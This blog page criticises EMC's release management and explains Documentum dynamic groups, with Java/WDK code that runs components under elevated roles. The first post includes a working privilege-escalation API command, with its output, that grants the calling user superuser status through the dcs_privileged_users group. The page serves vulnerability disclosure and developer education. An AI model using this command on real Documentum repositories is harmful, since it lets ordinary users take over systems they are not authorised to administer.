Weird release management

Two years ago I was complaining about dcs_privileged_users group created during installation of Collaboration Services dar, though in order to understand how this group works you need to read a set of post about dynamic groups, but the main idea is pretty simple: if authenticated user is able to execute API commands (either having network access to Content Server or through API Tester component in WDK applications) he is able to gain superuser privileges:

Connected to Documentum Server running Release 7.2.0060.0222  Linux64.Oracle
Session id is s0
API> apply,c,,EXEC,
      QUERY,S,update dm_user objects SET user_privileges=16 WHERE user_name=USER,
      __REQUESTED_PROTECTED_ROLES,S,dcs_privileged_users
...
q0
API> ?,c,q0
objects_updated
---------------
              1
(1 row affected)
[DM_QUERY_I_NUM_UPDATE]info:  "1 objects were affected by your UPDATE statement."


API> ?,c,select user_privileges from dm_user WHERE user_name=USER
user_privileges
---------------
             16
(1 row affected)

Doesn’t it look strange? A severe vulnerability exists for a couple of years, but instead of remediating it vendor wastes time for less severe things like DmSampleServlet. For a long time I was unable to understand what is the reason of such EMC’s behaviour, but yesterday everything got clear for me. What happened yesterday? Yesterday I got an idea that I discovered a super mega severe vulnerability in D2 – getting superuser credentials without knowing any existing credentials (suck to be you if you expose D2 into internet, previously I was able to say the same only about D2-Config, the only problem is my friends/colleagues are using D2, moreover some of them have D2 exposed into internet and releasing a public exploit will probably hurt them, so I have tried to contact EMC representative and if I won’t receive any response I will make it publicly available on Tuesday), and in order to confirm my expectations I was need to install D2 (yeah, I hate this procedure due to introduced useless RSA Lockbox). And what did the installation do with my DEV ENV? It marked all vulnerable groups as protected:

API> ?,c,select is_protected,group_name from dm_group where group_name like 'dcs%' or group_name like 'dce%'
is_protected  group_name
------------  ----------
           1  dce_create_room_groups
           1  dce_datatable_creator
           1  dce_hidden_users
           1  dce_room_creator
           1  dce_user_manager
           1  dcs_privileged_users
(6 rows affected)

WTF? After some research I have found out that D2 ships with it’s own Collaboration Services dar which was released in March 2015 (D2 4.5 was released in April 2015):

zipinfo Collaboration_Services.dar |head
Archive:  Collaboration_Services.dar
Zip file size: 2582778 bytes, number of entries: 194
-rw----     2.0 fat     1991 bl defN 15-Mar-03 13:29 \bin\Artifacts\SysObjects\newsysobject.sysobject.artifact
-rw----     2.0 fat     4478 bl defN 15-Mar-03 13:29 \bin\content/04/-290777104/sysobjectContent_page_0
-rw----     2.0 fat    11733 bl defN 15-Mar-03 13:29 \bin\content/04/-290777104/sysobjectContent_page_1
-rw----     2.0 fat     1172 bl defN 15-Mar-03 13:29 \bin\Artifacts\SysObjects\move.xml.sysobject.artifact
-rw----     2.0 fat      530 bl defN 15-Mar-03 13:29 \bin\content/45/1763040245/move.xml
-rw----     2.0 fat     1558 bl defN 15-Mar-03 13:29 \bin\Artifacts\SysObjects\javadoc.zip.sysobject.artifact
-rw----     2.0 fat   255125 bl defN 15-Mar-03 13:29 \bin\content/61/1858709661/sysobjectContent
-rw----     2.0 fat     1183 bl defN 15-Mar-03 13:29 \bin\Artifacts\SysObjects\import.xml.sysobject.artifact

and this dar “does fix” a vulnerability (actually, I’m not sure about the correctness of fix because, for example, if you setup WDK app as “trusted client” you are still vulnerable):

zipstream Collaboration_Services.dar "\\\bin\\\content/55/-1014019755/runnableContent"
...
   Call AddAttributeValueToRole( "dcs_privileged_users", "is_dynamic", "T" )
   Call AddAttributeValueToRole( "dcs_privileged_users", "is_module_only", "T" )
   Call AddAttributeValueToRole( "dcs_privileged_users", "is_protected", "T" )
   Call AddAttributeValueToRole( "dcs_privileged_users", "group_class", "module role" )

So, the only question is why this dar is not included in Content Server installation. I do not believe that it is caused by any compatibility issues (just imagine you have something dependent on dcs_privileged_users group and you install D2 – your functionality gets broken), it is just fault of release management:

  • one guys qualified Collaboration Services as a source of vulnerability (from my perspective this is wrong because Collaboration Services is a part of default Content Server installation) and assigned issue to corresponding team
  • Collaboration Services team fixed an issue (here should be a joke about one year required to fix a dmbasic script)
  • nobody included new version of Collaboration Services dar into CS patch

If you think I’m wrong, below are another examples of such faults:

  • ESA-2014-064 states that something was fixed in “6.7 SP2 P15 and later”, actually you may find a thorough explanation of what was “fixed” in What makes api/dmbasic suck blogpost, but EMC included a “patched” version of dmbasic binary only in 6.7 SP2 P17
  • ESA-2015-131 (CVE-2015-4535) is also interesting form this perspective (note I do not say that it is remediated), you can find a thorough explanation in Why do EMC coders like static variables? blogpost, the problem is both Content Server and Process Engine were affected (both contain mthdservlet.jar) but EMC released a “patch” for Content Server only

Dynamic groups. Advances. Part V

Previously I had written that to utilize DfPrivilegedActionInRole capability in DFC you need either to modify java.policy or create special docbase module. Today, while implementing functionality for project, I revealed that both options are not suitable for that project, so I decided to dig a bit deeper into internals of DfPrivilegedActionInRole/RoleRequestManager classes and after a while I got following alternative for DfPrivilegedActionInRole class, which requires neither docbase modules nor modifying java.policy:

/**
 * @author Andrey B. Panfilov <andrew@panfilov.tel>
 */
public class PrivilegedActionInRole<T> implements PrivilegedAction<T> {

    private final PrivilegedAction<T> _action;

    private final DfRoleSpec _roleSpec;

    public PrivilegedActionInRole(DfRoleSpec roleSpec,
            PrivilegedAction<T> action) {
        _roleSpec = roleSpec;
        _action = action;
    }

    @Override
    public T run() {
        try {
            startPrivilegedRequest(_roleSpec);
            return _action.run();
        } finally {
            stopPrivilegedRequest(_roleSpec);
        }
    }

    public static DfRoleSpec startPrivilegedRequest(String groupName) {
        return startPrivilegedRequest(new DfRoleSpec(groupName));
    }

    public static DfRoleSpec startPrivilegedRequest(String groupName,
            String docbaseName) {
        return startPrivilegedRequest(new DfRoleSpec(groupName, docbaseName));
    }

    public static void stopPrivilegedRequest(DfRoleSpec roleSpec) {
        RoleRequestManager requestManager = RoleRequestManager.getInstance();
        requestManager.pop(roleSpec);
    }

    public static DfRoleSpec startPrivilegedRequest(DfRoleSpec roleSpec) {
        RoleRequestManager requestManager = RoleRequestManager.getInstance();
        requestManager.push(roleSpec, new AccessControlContext(
                new ProtectionDomain[] {}));
        return roleSpec;
    }

}

Dynamic groups. Advances. Part IV

Last week I was trying to solve the problem related to ugly security model in Documentum: business user must able to see all documents related to workflow task which is assigned to him. Actually, it’s a true “case management” problem: someone sent me a task, that task has related documents, those documents have another relations and so on – to be able to perform the task I should able to see all related documents. Unfortunately, Documentum does not have any OOTB instruments/functions to resole such problem, for example, take a look at Webtop – it has some predefined distribution workflows (dmSendTo*), but to take advantage of these workflows supervisor must explicitly grant access permissions to performers on related documents, yes, when designing workflows with BPM we can add special automatic activities which grant required permissions to manual performers, but what to do with delegations (both manual and automatic) and chains of related documents?

My WDK solutions was:

PrivilegedFormProcessor:

public class PrivilegedFormProcessor extends FormProcessor {

    public PrivilegedFormProcessor() {
        super();
    }

    @Override
    public void processAction(PageContext pageContext, String formClass,
            String nlsClass) {
        boolean notifyAtEnd = notifyStart(pageContext);
        try {
            super.processAction(pageContext, formClass, formClass);
        } finally {
            if (notifyAtEnd) {
                notifyFinish(pageContext);
            }
        }
    }

}

PrivilegedRequestListener:

@SuppressWarnings("deprecation")
public class PrivilegedRequestListener implements IFormRenderListener,
        com.documentum.web.form.IRequestListener, IApplicationListener,
        com.documentum.web.env.IRequestListener {

    private static final int RECURSION_MAX_DEPTH = 2;

    private static final ThreadLocal<DfRoleSpec> PRIVILEGED_GROUP = new ThreadLocal<DfRoleSpec>();

    public PrivilegedRequestListener() {
        super();
    }

    @Override
    public void notifyRequestStart(HttpServletRequest httpServletRequest,
            HttpServletResponse httpServletResponse) {
        startPrivilegedRequest(httpServletRequest, null);
    }

    @Override
    public void notifyRequestFinish(HttpServletRequest httpServletRequest,
            HttpServletResponse httpServletResponse) {
        stopPrivilegedRequest(httpServletRequest);
    }

    @Override
    public void notifyFormRenderStart(Form form) {
        startPrivilegedRequest(form.getPageContext().getRequest(),
                form.getPageContext());
    }

    @Override
    public void notifyFormRenderFinish(Form form) {
        stopPrivilegedRequest(form.getPageContext().getRequest());
    }

    @Override
    @SuppressWarnings("deprecation")
    public void notifyStart(PageContext context) {
        startPrivilegedRequest(context.getRequest(), context);
    }

    @Override
    @SuppressWarnings("deprecation")
    public void notifyFinish(PageContext context) {
        stopPrivilegedRequest(context.getRequest());
    }

    @Override
    @SuppressWarnings("deprecation")
    public void notifyApplicationStart(ServletContext servletContext) {
        PrivilegedFormProcessor.addRequestListener(this);
    }

    @Override
    public void notifyApplicationFinish(ServletContext servletContext) {

    }

    public static void startPrivilegedRequest(ServletRequest request,
            PageContext context) {
        if (isPrivilegedRequest()) {
            return;
        }
        Form form = getForm(request, context);
        if (form == null) {
            return;
        }
        IPrivilegedComponent component = ControlUtils.findEnclosingControl(
                IPrivilegedComponent.class, form);
        if (component == null) {
            Control handler = getHandler(context, form);
            if (handler != null) {
                component = ControlUtils.findEnclosingControl(
                        IPrivilegedComponent.class, handler);
            }
        }
        if (component == null) {
            component = getPrivilegedCallerForm(form, RECURSION_MAX_DEPTH);
        }
        if (component == null) {
            return;
        }
        String privilegedGroup = component.getPrivilegedGroupName();
        if (StringUtils.isBlank(privilegedGroup)) {
            return;
        }
        String docbaseName = SessionManagerHttpBinding.getCurrentDocbase();
        if (StringUtils.isBlank(docbaseName)) {
            return;
        }
        RoleRequestManager requestManager = RoleRequestManager.getInstance();
        DfRoleSpec roleSpec = new DfRoleSpec(privilegedGroup, docbaseName);
        requestManager.push(roleSpec);
        PRIVILEGED_GROUP.set(roleSpec);
    }

    public static void stopPrivilegedRequest(ServletRequest request) {
        if (!isPrivilegedRequest()) {
            return;
        }

        RoleRequestManager requestManager = RoleRequestManager.getInstance();
        requestManager.pop(PRIVILEGED_GROUP.get());
        PRIVILEGED_GROUP.remove();
    }

    private static Form getForm(ServletRequest request, PageContext context) {
        Form form = (Form) request.getAttribute(IParams.FORM);
        if (form != null) {
            return form;
        }
        if (context == null) {
            return null;
        }
        FormRequest formRequest = (FormRequest) context.getAttribute(
                IParams.FORM_REQUEST, PageContext.REQUEST_SCOPE);
        if (formRequest != null) {
            return formRequest.getForm();
        }
        FormHistory history = (FormHistory) context.getAttribute(
                IParams.FORM_HISTORY, PageContext.REQUEST_SCOPE);
        if (history != null) {
            return history.getCurrentSnapshot().getForm();
        }

        Map historyMap = getFormHistoryMap(context);
        if (historyMap == null) {
            return null;
        }
        String requestId = request.getParameter(IParams.REQUEST_ID);
        if (StringUtils.isBlank(requestId)) {
            return null;
        }
        history = (FormHistory) historyMap.get(new FormRequestId(requestId)
                .getClientId());
        if (history == null) {
            return null;
        }
        return history.getCurrentSnapshot().getForm();
    }

    private static Map getFormHistoryMap(PageContext pageContext) {
        synchronized (pageContext.getSession()) {
            FormProcessor.HistoryByClientIdMap mapHistory = (FormProcessor.HistoryByClientIdMap) pageContext
                    .getAttribute("__dmfFormHistoryByClientId",
                            PageContext.SESSION_SCOPE);
            if (mapHistory != null) {
                return mapHistory.getHistoryByClientIdMap();
            }
            return null;
        }
    }

    private static Control getHandler(PageContext context, Form form) {
        String formId = Util.getRequestParameter(context.getRequest(),
                IParams.FORM_ID);
        String handlerParam = Util.getRequestParameter(context.getRequest(),
                IParams.HANDLER);
        String handlerName = null;
        if ((formId != null) && (handlerParam != null)
                && (handlerParam.startsWith(formId))) {
            handlerName = handlerParam.substring(formId.length() + 1);
        } else if (formId == null) {
            handlerName = handlerParam;
        }
        Control handler = form;
        if (handlerName == null) {
            return null;
        }
        if (!handler.getElementName().equals(handlerName)) {
            handler = form.getControlByElement(handlerName);
        }
        return handler;
    }

    private static IPrivilegedComponent getPrivilegedCallerForm(Form form,
            int depth) {
        Form callerForm = form.getCallerForm();
        if (callerForm == null) {
            return null;
        }
        if (callerForm instanceof IPrivilegedComponent) {
            return (IPrivilegedComponent) callerForm;
        }
        if (callerForm instanceof Container) {
            Container container = (Container) callerForm;
            String includedComponentName = container
                    .getContainedComponentName();
            if (StringUtils.isNotBlank(includedComponentName)) {
                Component component = ControlUtils.findInnerControl(
                        Component.class, container, includedComponentName);
                if (component instanceof IPrivilegedComponent) {
                    return (IPrivilegedComponent) component;
                }
            }
        }
        if (depth == 0) {
            return null;
        }
        return getPrivilegedCallerForm(callerForm, --depth);
    }

    public static boolean isPrivilegedRequest() {
        return PRIVILEGED_GROUP.get() != null;
    }

    public static String getPrivilegedGroup() {
        DfRoleSpec roleSpec = PRIVILEGED_GROUP.get();
        if (roleSpec == null) {
            return null;
        }
        return roleSpec.getRoleName();
    }

}

ControlUtils:

public class ControlUtils {

    private ControlUtils() {
        super();
    }

    public static <T> T findEnclosingControl(Class<T> cls, Control control) {
        FindEnclosingControl<T> visitor = new FindEnclosingControl<T>(cls);
        control.visitContainer(visitor);
        return visitor.getControl();
    }

    @SuppressWarnings("unchecked")
    static class FindEnclosingControl<E> implements IVisitor {
        private E _control;

        private Class<E> _controlClass;

        FindEnclosingControl(Class<E> cls) {
            _controlClass = cls;
        }

        public boolean visit(Control control) {
            boolean keepLooking = true;
            if (_controlClass.isInstance(control)) {
                _control = (E) control;
                keepLooking = false;
            }
            return keepLooking;
        }

        public E getControl() {
            return _control;
        }
    }

}

IPrivilegedComponent:

public interface IPrivilegedComponent {

    String getPrivilegedGroupName();

}

app.xml:

<listeners>
    <application-listeners>

        ...

        <listener>
            <class>com.documentum.web.form.PrivilegedRequestListener</class>
        </listener>
    </application-listeners>
    <request-listeners>

        ...

        <listener>
            <class>com.documentum.web.form.PrivilegedRequestListener</class>
        </listener>
    </request-listeners>
    <formrender-listeners>
        
        ...

        <listener>
            <class>com.documentum.web.form.PrivilegedRequestListener</class>
        </listener>
    </formrender-listeners>
</listeners>

WEB-INF/classes/com/documentum/web/form/FormProcessorProp.properties:

formProcessorClass=com.documentum.web.form.PrivilegedFormProcessor

and now, to solve my problem, I should just write something like:

public class TaskMgrContainerCustom extends TaskMgrContainer implements
        IPrivilegedComponent {

    public TaskMgrContainerCustom() {
        super();
    }

    @Override
    public String getPrivilegedGroupName() {
        return "dm_read_all_dynamic";
    }

}

Dynamic groups. Advances. Part III

Initial document from EMC about privilege escalations – very complicated and contradictory 😦

We already know that CS enables dynamic groups per RPC if RPC command contains __REQUESTED_PROTECTED_ROLES attribute(s). What DFC classes know about this attribute?
Continue reading

Dynamic groups. Advances. Part II

Though dynamic group usecase described in documentation looks reasonable (but has some limitations), no one customer have asked me to implement such functionality. Another usecase of dynamic groups is privilege escalation, i.e. executing some docbase commands with higher privileges. It is obvious that in complex project it is not possible (or very hard) to implement good security model, moreover, no matter how much you do try to implement security model – any new customer’s requirements can bring all your efforts to naught 😦
Continue reading

Dynamic groups. Basics

It seems that “dynamic groups” is yet another white spot in documentation: Fundamentals guides states that dynamic groups can’t belong to non-dynamic, Administration and Configuration guide, in opposite, gives an example of such possibility: dm_browse_all/dm_browse_all_dynamic, dm_superusers/dm_superusers_dynamic (I have no idea why dm_read_all/dm_read_all_dynamic pair is missed in Administration guide). The only true thing about dynamic groups you can read in documentation is: dynamic groups are intended to be enabled/disabled in runtime, which allows user to gain/loose some extra privileges.
Continue reading